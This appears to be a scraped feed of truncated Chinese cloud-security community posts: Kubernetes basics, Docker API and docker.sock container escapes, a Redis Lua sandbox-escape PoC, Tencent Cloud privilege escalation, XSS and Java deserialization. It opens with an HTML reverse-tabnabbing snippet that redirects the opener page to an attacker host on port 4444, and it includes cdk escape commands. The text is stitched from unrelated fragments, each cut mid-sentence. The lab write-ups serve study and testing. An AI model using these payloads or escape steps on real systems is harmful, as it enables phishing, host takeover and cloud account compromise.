<!DOCTYPE html> <html> <!-- author:Ggoodstudy--> <body> <script> if(window.opener) window.opener.parent.location.replace('http://192.168.0.105:4444/index.html'); if(window.opener!= window) window.opener.parent.location.replace('http://192.168.0.105:4444/index.html'); </script> </body> </html>
index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Log
2022年5月12日 17:02火线zone
初识Kubernetes 集群
要搭建k8s集群,从了解开始
原文链接:https://kubernetes.io/docs/concepts/overview/components/
什么叫Kubernetes
Kubernetes (K8s) 集群是一组节点,它们以高效、自动化、分布式和可扩展的方式运行容器化应用程序。K8s 集群允许工程师跨多个物理、虚拟和云服务器编排和监控容器。这将容器与底层硬件层分离,并实现敏捷和健壮的部署。一个 Kubernetes 集群由一组工作机器组成,称为节点,运行容器化应用程序。每个集群至少有一个工作节点,工作节点托管豆荚它们是应用程序工作负载的组成部分。这 控制平面管理集群中的工作节点和 Pod。在生产环境中,控制平面通常跨多台计算机运行,集群通常运行多个节点,提供容错和高可用性。
Kubernetes的组件
控制平面组件
控制平面的组件对集群做出全局决策(例如,调度),以及检测和响应集群事件。
控制平面组件可以在集群中的任何机器上运行。但是,为简单起见,设置脚本通常在同一台机器上启动所有控制平面组件,并且不在这台机器上运行用户容器。
kube-apiserver
API 服务器是 Kubernetes 的一个组件控制平面公开 Kubernetes API。API 服务器是 Kubernetes 控制平面的前端。
Kubernetes API 服务器的主要实现是kube-apiserver。kube-apiserver 旨在水平扩展——也就是说,它通过部署更多实例来扩展。可以运行多个 kube-apiserver 实例并平衡这些实例之间的流量。
etcd
一致且高度可用的键值存储,用作 Kubernetes 的所有集群数据的后备存储。
kube-scheduler
监视新创建的控制平面组件豆荚没有分配节点,并选择一个节点让它们运行。
调度决策考虑的因素包括:个人和集体资源要求、硬件/软件/策略约束、亲和性和反亲和性规范、数据局部性、工作负载间干扰和截止日期。
云控制器管理器
一个 Kubernetes控制平面嵌入云特定控制逻辑的组件。云控制器管理器允许您将集群链接到云提供商的 API,并将与该云平台交互的组件与仅与您的集群交互的组件分开。
cloud-controller-manager 仅运行特定于您的云提供商的控制器。如果您在自己的场所运行 Kubernetes,或者在您
2022年5月12日 15:02火线zone
容器在普通主机上提供了一些无法简单获得的安全功能,其中之一是使容器的根文件系统为只读的能力。通过使文件系统不能被改变,它可以防止攻击者将他们的恶意软件可执行文件写入磁盘。大多数攻击都依靠写入文件来入侵,但复杂的案件使用无文件的恶意软件作为其恶意行为的一部分。防止合法应用程序受到影响也很重要,所以必须采取一些措施。
很多人认为只读文件系统是阻止容器环境中恶意活动和容器漂移的万能工具。本博客将探讨恶意软件无文件执行在攻击只读容器化环境中的机制和普遍性。
根据BridgeCrew的Kubernetes文档:
"使用不可变的根文件系统和经过验证的启动机制,可以防止攻击者通过永久性的本地更改来'拥有'机器。不可变的根文件系统还可以防止恶意的二进制文件写入主机系统"。
我们将展示一种攻击具有只读根文件系统的容器的方法,我们发现用在内存中执行的无文件恶意软件来攻击内存中的数据存储是很合适的。让我们开始吧!
设置场景
我们的目标环境是一个有漏洞的、最小的(coreutils + redis)Redis Docker镜像(vulhub/redis:5.0.7),确保传递--read-only标志以确保我们在攻击中保持无文件状态。
在Kubernetes上,这可以通过spec:containers:securityContext:readOnlyRootFilesystem:true来设置。
问题中的Redis服务存在CVE-2022-0543的漏洞,这是一个Lua沙盒逃逸。根据CVSS系统,它的严重程度为10.0分,即CRITICAL等级。
要了解更多关于漏洞评分的计算方法,漏洞评分会欺骗你吗?了解CVSS的严重性并有效使用它们。
Redis通过'eval'命令提供了在服务器端评估Lua脚本的能力。CVE-2022-0543允许攻击者逃脱Lua代码通常在其中执行的沙盒,这使得直接在主机上执行shell命令变得很容易。当攻击者加载liblua5.1.so.0共享对象文件(存在于Redis主机文件系统中)时,Lua沙盒逃逸被执行,从而获得对主机的访问权。
CVE-2022-0543附带一个概念验证(PoC)漏洞,我们将通过redis-cli测试。
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); l
2022年5月12日 11:32火线zone
腾讯云 CLB、VPC 和 CAM 服务攻防
https://zone.huoxian.cn/d/1162-clbvpc-cam
Docker 背后的 runc 技术剖析
https://blog.quarkslab.com/digging-into-runtimes-runc.html
如何确保有状态 Kubernetes 的稳定性
https://mp.weixin.qq.com/s/XgrZukn87Sovuv7bPoS_eA
一文了解Istio外部授权
https://mp.weixin.qq.com/s/eZpV22NRIn_dt4UL1SmJ8A
事后向云账户添加防护措施
https://www.trendmicro.com/en_us/devops/22/e/cloud-configuration-management-guardrails.html
Docker Linux 桌面版来了
https://www.zdnet.com/article/docker-desktop-for-linux-finally-arrives/#ftag=RSSbaffb68
如何保护您的AWS EC2实例元数据服务的安全
https://news.sophos.com/en-us/2022/05/09/how-to-secure-your-aws-ec2-instance-metadata-service-imds/
评估云计算应用风险的方法
https://insights.sei.cmu.edu/blog/a-method-for-assessing-cloud-adoption-risks/
2022年5月12日 11:32火线zone
前言
Docker Daemon把服务暴露在tcp的2375端口上,常见docker端口包括:
2375:未加密的docker socket,远程root无密码访问主机2376:tls加密套接字,很可能这是您的CI服务器4243端口作为https 443端口的修改2377:群集模式套接字,适用于群集管理器,不适用于docker客户端5000:docker注册服务4789和7946:覆盖网络
漏洞介绍
Docker Daemon把服务暴露在tcp的2375端口上,这样就可以在网络上操作Docker了。Docker本身没有身份认证的功能,只要网络上能访问到服务端口,就可以操作Docker。与上面的docker.sock文件利用类似。
可以通过docker客户端的-H参数连接并控制目标暴露的2375端口服务:
-H, --host list Daemon socket(s) to connect to
fofa指纹:app="docker-Daemon"
但会遇到本地docker client与目标docker server版本不兼容的问题,造成无法正常连接:
可以使用python库进行docker连接控制。
漏洞利用
cdk关于该漏洞的exp
攻击Docker API 2375未授权访问漏洞,控制宿主机的dockerd创建一个新容器,并挂在宿主机根目录/到容器内部/host,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"
漏洞复现
以下漏洞复现参考:
Docker API 未授权访问漏洞复现 | LuckySec
http://luckyzmj.cn/posts/a398fa24.html
环境准备
靶机环境:192.168.126.130 (ubuntu)
攻击环境:192.168.126.128 (kali)
在靶机上使用vulhub复现漏洞环境。
vulhub官网地址:https://vulhub.org
cd /vulhub/docker/unauthorized-rce docker-compose build docker-compose up -d
漏洞检测
直接输入地址 http://your-ip:
2022年5月11日 17:32火线zone
一个微信小程序,所有的接口url都是一样的,通过post体中的一个字段来判断行为
url都是:
https://xxxxx.cn/gateway/link.do

这些接口都需要data_digest做校验,类似sign值的作用,修改请求后就会校验失败
这个值怎么算的呢:
先把小程序代码拿下来,搜索data_digest

然后顺着往上找,b方法是自己实现的,详细下面说明

实际上g是下面的值(通过我打码的几个参数与抓包的请求比较),上面这个应该是测试环境或者开发环境

上面截图说的 b = new c.default.MD5().b64
看data_digist的值,有“/”,肯定不是正经的base64
这个MD5是在一个hashes.js里实现的,b64也是在这里

具体怎么实现的不管了,把相关代码(指存在依赖关系的)拿下来


逻辑是:
我们先把content(来自抓包的参数)与g(来自小程序源码)相加,然后调用b函数即可得到data_digest
可以看到与请求里的data_digest是一样的
2022年5月11日 15:02火线zone
在虚拟机中安装docker环境Vulhub - Docker-Compose file for vulnerability environment
Weblogic
WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
XMLDecoder 反序列化漏洞(CVE-2017-3506 & CVE-2017-10271)
影响版本:Weblogic < 10.3.6
漏洞成因:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
使用docker搭建环境
浏览器访问:http://127.0.0.1:7001/, 界面上出现Error 404--Not Found,即启动成功。
访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞
漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。
只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wl
2022年5月11日 12:31火线zone
本文将来看看在攻击者的视角下,如果拿到腾讯云的负载均衡 CLB(Cloud Load Balancer)、私有网络 VPC(Virtual Private Cloud)、访问管理 CAM(Cloud Access Management)服务权限后,能做哪些操作。
0x01 CLB
1、信息收集
在 CLB 中,可以收集到目标 CLB 的 IP 信息、监听器配置信息、重定向配置信息、监控信息、安全组信息、访问日志信息等。

在收集到这些信息后,有助于攻击者更清晰的了解目标,如果拥有对 CLB 的编辑权限,那么攻击者还可以将其进行修改,从而避免上传了 Shell 但是因为负载均衡的存在而连接不上的情况。
2、影响
在 CLB 中,主要的影响在于攻击者可能会恶意修改 CLB 配置,例如修改安全组,将入站规则改成所有 IP 可访问,从而方便自己的攻击;或者修改重定向配置,将目标地址改成恶意地址等等。
0x02 VPC
1、信息收集
在 VPC 中可以收集到目标的网络拓扑信息、网段信息、路由表信息、安全组信息、流日志信息等,其中流日志可以看到弹性网卡的出入 IP 流量信息。
如果知道了网络拓扑和网段信息,则在进行云上内网横向时,可以更加具有针对性;如果知道了流日志信息,则可以根据流量的大小、出入站的流量情况判断出活跃资产以及高价值目标。
2、影响
VPC 的影响也是主要在于攻击者可能会恶意修改 VPC 配置,例如恶意修改安全组、恶意修改路由表、恶意修改云联网等功能,这些功能如果被恶意修改,可能会直接造成目标互联网服务无法访问的影响。
0x03 CAM
1、信息收集
在 CAM 中,攻击者可以看到当前用户的权限、密码规则、登录保持时间、身份安全认证设置,以及当前账号里的用户列表和用户组。
2、权限提升
例如在拿到一个子用户账号,登录到腾讯云后,发现该账号可以查看并编辑 CAM,但是在访问对象存储时提示没有权限。

那么这时,就可以自己给自己授予访问对象存储的权限,从而实现提权。
在腾讯云中,选择 QcloudCOSFullAccess 策略,然后授予给自己即可

再次来到对象存储页面,发现已经有权限了。

或者可以直接修改现有的高权限账号的密码,从而实现权限提升,但这个操作风险比较高,任意被发现。
3、权限维持
在 CAM 中进行权限维持主要有三种方式:一种是创建高权限用户通过控制台访问,一种是创建访问密钥通过命令行访问。
2022年5月11日 11:31火线zone
Docker.sock文件容器逃逸漏洞
https://zone.huoxian.cn/d/1159-dockersock
容器安全的常见风险与防护实践
https://www.aqniu.com/industry/83316.html
Azure Data Factory和Azure Synapse pipelines远程命令执行漏洞
https://mp.weixin.qq.com/s/_6IAu8j9Xw0g53TgdBt18A
AWS RDS 漏洞导致AWS内部服务凭证失效
https://mp.weixin.qq.com/s/llFG9BKoLDSOdJYlDjQkrg
云原生服务风险测绘分析(四):Prometheus
https://mp.weixin.qq.com/s/ATsGMQOzFPEFYamp45euew
MSSQL 读取实例信息
https://wiki.teamssix.com/CloudService/RDS/mssql-bulk-insert.html
红帽加强OpenShift平台的DevSecOps功能
https://containerjournal.com/features/red-hat-strengthens-devsecops-for-openshift-platform/
5个CloudFormation安全提示,将你的AWS安全提升到新的水平
https://bridgecrew.io/blog/advanced-cloudformation-template-security/
2022年5月10日 15:31火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】%3E点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月10日 14:31火线zone
前言
docker是C/S架构,输入docker version命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。
Doceker Daemon默认监听的是/var/run/docker.sock这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock发送请求,也能达到docker ps、docker images ls这样的效果。
漏洞介绍
很多容器启动时,会挂载宿主机的/var/run/docker.sock文件,在容器内部直接与docker守护进程通信进行接口调用。比如kafka的docker-compose.yml就挂载了这个文件。
下面的命令可以达到docker ps同样的结果:
curl -i -s --unix-socket /var/run/docker.sock -X GET http://aaa/containers/json # 其中aaa这个域名无所谓,换成任何都可以,在网上见到的示例为localhost
更多api接口可以查看docker的官方文档:
https://docs.docker.com/engine/api/v1.24/#31-containers
关于/var/run/docker.sock文件的理解可以参考这篇文章:
https://cloud.tencent.com/developer/article/1454335
漏洞利用
cdk关于该漏洞的exp
cdk提供对该漏洞的验证poc和利用exp。
# 本脚本将尝试连接Docker API并回传宿主机的docker运行信息,以检查API是否可用。 ./cdk run docker-sock-check /var/run/docker.sock # 本脚本将控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。 ./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
漏洞复现
启动一个docker容器,主机的根目录安装
2022年5月10日 11:31火线zone
华为云 ELB、VPC 和 IAM 的信息搜集
https://zone.huoxian.cn/d/1156-elbvpc-iam
5 款强大的 Kubernetes Events 收集与检索工具
https://mp.weixin.qq.com/s/KOAcNedzhY_f6DvrP1RPDg
Kubernetes基础环境搭建
https://mp.weixin.qq.com/s/8i-DyBRKR6vMq547YyKsFA
Forrester 云安全调查:云身份管理能力认可度不足3成
https://mp.weixin.qq.com/s/y4mDTi9BeRk4VjMHJgalww
在Kubernetes中构建应用程序?处处都要考虑安全问题
https://containerjournal.com/features/building-apps-in-kubernetes-think-security-everywhere/
保证AWS Lambda函数的URL安全
https://www.wiz.io/blog/securing-aws-lambda-function-urls/
企业迁移到公有云之前要问的5个问题
https://mp.weixin.qq.com/s/hh78kNgPX4S2LewAAxLm8Q
2022年5月9日 15:35火线zone
目录
ELB
弹性负载均衡(Elastic Load Balance,简称ELB)是将访问流量根据分配策略分发到后端多台服务器的流量分发控制服务。弹性负载均衡可以通过流量分发扩展应用系统对外的服务能力,同时通过消除单点故障提升应用系统的可用性。
1、信息搜集
查询IP地址组列表
hcloud ELB ListIpGroups/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"
查询后端服务器组列表
hcloud ELB ListPools/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"
查询后端服务器组详情
hcloud ELB ShowPool/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --pool_id="dc5017e1-0986-4a2e-b4db-23b612ed3bad"
查询负载均衡器列表
hcloud ELB ListLoadBalancers/v3 --cli-region="cn-southwest-2" --project_id="602a462f913147bb8703740d9ab6ae7f"
查询监听器列表获取后端端口
hcloud ELB ListListeners/v3 --cli-region="cn-southwest-2" --project_id="602a462f913147bb8703740d9ab6ae7f"
2、安全策略
用于在创建HTTPS监听器时,请求参数中指定security_policy_id来设置监听器的自定义安全策略。
查询自定义安全策略列表
hcloud ELB ListSecurityPolicies/v3 --cli-region="cn-southwest-2" --project_id="602a462f913147bb8703740d9ab6ae7f"
查询自定义安全策略详情
hcloud ELB ShowSecurityPolicy/v3 --cli-region="cn-southwest-2" --project_id="
2022年5月9日 10:35火线zone
容器安全技术发展研究及政策建议
https://mp.weixin.qq.com/s/2l05oNK0JOBoSNL-pLPkhQ
Windows 下使用 Minikube 搭建Kubernetes
https://zone.huoxian.cn/d/1149-windows-minikube-kubernetes
针对运行时的云原生应用进行安全防护
https://medium.com/@dlakshma/run-time-vulnerability-prevention-using-red-hat-advanced-cluster-security-for-kubernetes-ca39fca78e1e
浅析K8S各种未授权攻击方法
https://zone.huoxian.cn/d/1153-k8s
平台即代码的未来是Kubernetes扩展
https://containerjournal.com/features/the-future-of-platform-as-code-is-kubernetes-extensions/
APISIX CVE-2022-29266 漏洞分析与复现
https://mp.weixin.qq.com/s/Un-9y_UhWDw9svHKb-JQVQ
如何保证Kubernetes中部署的安全?
https://zone.huoxian.cn/d/1148-kubernetes
在 AWS 下查看自己所拥有的权限
https://wiki.teamssix.com/CloudService/IAM/list-attached-user-policies.html
2022年5月8日 16:35火线zone
前言
xss漏洞的原理其实很简单,类型也分为三类,反射型、储存型和dom型。但是刚接触xss的时候我根本不理解什么是dom型xss,无法区分反射型和dom型,也很少遇见,现在通过这篇文章可以给新入坑的小白更好的理解xss漏洞,也通过这篇文章巩固一下我对xss的理解,如有不正确的地方欢迎各位师傅斧正。
DOM型与反射型对比图
两张简单的图帮助大家对比一下异同
反射型xss分析
首先还是先简单介绍一下xss最常见的类型:反射型
通过pikachu靶场来做简单的演示分析
可以看到我们输入的数据通过html页面回显了出来,这意味着我们可以尝试构造闭合来注入我们想要的代码
检查一下网页源码,处于这个位置(20这个地方显示了输入数据的长短,改一改就好)
插入这个代码测试xss漏洞:<script>alert('1_Ry')</script>,出现弹窗
分析一下代码
$html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } }
首先通过GET 接收message字符串到后端,然后传到$html这个变量
<div id="xssr_main"> <p class="xssr_title">Which NBA player do you like?</p> <form method="get"> <input class="xssr_in" type="text" maxlength="20" name="message" /> <input class="xssr_submit" type="submit" name="submit" value="submit" /> 
2022年5月8日 15:31火线zone
目录
一、前言
这篇文章可能出现一些图文截图颜色或者命令端口不一样的情况,原因是因为这篇文章是我重复尝试过好多次才写的,所以比如正常应该是访问6443,但是截图中是显示大端口比如60123这种,不影响阅读和文章逻辑,无需理会即可,另外k8s基础那一栏。。。本来想写一下k8s的鉴权,后来想了想,太长了,不便于我查笔记,还不如分开写,所以K8S基础那里属于凑数???写了懒得删(虽然是粘贴的:))
吐槽一下:其实我发现K8S搭建失败的大部分原因,都是出于网络不同的原因,所以我建议直接上香港的服务器,不太建议在本地虚拟机搭建,当然我本地也搭建了虚拟机的k8s集群(我用公司的阿里云开的服务器,100M带宽,确实快哈哈哈)
在学习k8s安全的时候,大家花费最多时间的地方应该就是K8S的搭建了,当然大佬除外,我这种菜狗才会搭环境搭很久
香港服务器搭建
1、有成本(哪怕是按量付费,也有一定的成本)
2、好处就是能快速的搭建,不会出现网络导致搭建失败的问题
本地虚拟机搭建
1、0成本(但是有时间成本,可能在香港服务器上1个小时就能解决的事情,在本地要花很久)
2、好处就是配置好静态地址之后,以后在哪个网络环境都可以访问
二、k8s基础
K8S全称kubernetes,是由Google在2014年开源的生产级别的容器编排系统,或者说是微服务和云原生平台。虽说14年才开源,但实际上K8S是Google内部的容器编排系统Borg的开源版本,在Google内部已经用了十多年了。下面是一个关于K8S的Logo来源的小插曲。
Kubernetes由谷歌在2014年首次对外宣布 。它的开发和设计都深受谷歌的Borg系统的影响,它的许多顶级贡献者之前也是Borg系统的开发者。在谷歌内部,Kubernetes的原始代号曾经是Seven,即星际迷航中友好的Borg(博格人)角色。Kubernetes标识中舵轮有七个轮辐就是对该项目代号的致意。  不过也有一个说法是,Docker的Logo是一个驮着集装箱的鲸鱼,也就是运输船,K8S的Logo是一个船舵,旨在引领着Docker(或者说容器技术)走向远方。
1、Master
Master节点是Kubernetes集群的控制节点,每个Kubernetes集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件。Master节点可以运行在集群中的任意一个节点上,但是最好将Mast
2022年5月8日 14:31火线zone
Spring简介
Spring框架是一个开放源代码的J2EE应用程序框架,是针对bean的生命周期进行管理的轻量级容器。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合使用,并且可以与 Swing等桌面应用程序AP组合。
Spring框架主要由七部分组成,分别是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC
Spring发展到现在,全家桶所包含的内容非常庞大,这里主要介绍其中关键的5个部分
1.Spring Framework
也就是我们经常说的spring框架,包括了ioc依赖注入,Context上下文、bean管理、springmvc等众多功能模块,其它spring项目比如spring boot也会依赖spring框架。
2.springBoot
它的目标是简化Spring应用和服务的创建、开发与部署,简化了配置文件,使用嵌入式web服务器,含有诸多开箱即用的微服务功能,可以和spring cloud联合部署。Spring Boot的核心思想是约定大于配置,应用只需要很少的配置即可,简化了应用开发模式。
3.Spring Data
是一个数据访问及操作的工具集,封装了多种数据源的操作能力,包括:jdbc、Redis、MongoDB等。
4.springCloud
是一套完整的微服务解决方案,是一系列不同功能的微服务框架的集合。Spring Cloud基于Spring Boot,简化了分布式系统的开发,集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力。比如sleuth提供了全链路追踪能力,Netflix套件提供了hystrix熔断器、zuul网关等众多的治理组件。config组件提供了动态配置能力,bus组件支持使用RabbitMQ、kafka、Activemq等消息队列,实现分布式服务之间的事件通信。
5.Spring Security
主要用于快速构建安全的应用程序和服务,在Spring Boot和Spring Security OAuth2的基础上,可以快速实现常见安全模型,如单点登录,令牌中继和令牌交换。你可以了解一下oauth2授权机制和jwt认证方式。oauth2是一种
2022年5月7日 15:31火线zone
浅谈Java反序列化漏洞
本篇文章参考P神知识星球的《Java漫谈》系列文章,有条件的可以为p牛充电!(星球名:代码审计,我已经冲了)
然后推荐想初步理解java反序列化、并且深度了解一两个利用链的萌新,一步一步跟着文中在idea里调试理解每一步,不要求很快看完,可以收藏或者点赞后,慢慢看 , 希望能收获一点东西
然后大佬们可以退了,因为写的都是java反序列化很浅的东西,顺便别骂QAQ
Java序列化与反序列化
Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
其中类 ObjectInputStream 和 ObjectOutputStream 是高层次的数据流,它们包含反序列化和序列化对象的方法。
eg.
下面是一个简单的序列化、反序列化的代码:
package top.meta; import java.io.*; import java.util.HashMap; import java.util.Map; /** * @author taamr * @create 2022-04-29 14:35 */ public class Serialize implements Serializable { // 必须实现Serializable接口 //serialVersionUID不写的话,idea会自动生成,赋予每个类不同的序列化UID private static final long serialVersionUID = -3066949856415001911L; private int id; private String name; public Serialize() { } public Serialize(int id, String name) { this.id = id; this.name = name; } private void writeObject (Objec
2022年5月7日 15:01火线zone
硬件要求:
2核CPU或更高配置
2GB内存或更高配置
20GB磁盘空间或更多
连接互联网
容器或虚拟机管理器,例如:Docker、Hyperkit、Hyper-V、KVM、Parallels、Podman、VirtualBox 或 VMware Fusion/Workstation
Windows下使用PowerShell安装
New-Item -Path 'd:\' -Name 'minikube' -ItemType Directory -Force Invoke-WebRequest -OutFile 'd:\minikube\minikube.exe' -Uri 'https://github.com/kubernetes/minikube/releases/latest/download/minikube-windows-amd64.exe' -UseBasicParsing
其中路径可以自定义
设置环境变量
$oldPath = [Environment]::GetEnvironmentVariable('Path', [EnvironmentVariableTarget]::Machine) if ($oldPath.Split(';') -inotcontains 'd:\minikube'){ ` [Environment]::SetEnvironmentVariable('Path', $('{0};d:\minikube' -f $oldPath), [EnvironmentVariableTarget]::Machine) ` }
启动集群
minikube start
默认情况下会使用Hyperv作为驱动
如果要使用Vmware或者其他,启动的时候需要指定
minikube start --driver vmware
如果报Exiting due to PROVIDER_VMWARE_NOT_FOUND: The 'vmware' provider was not found: exec: "vmrun": executable file not found in $PATH信息,把vmware的安装路径加入系统环境变量就行。
下载安装docker-machine-driver-vmware
https://github.com/machine-drivers/docker-machi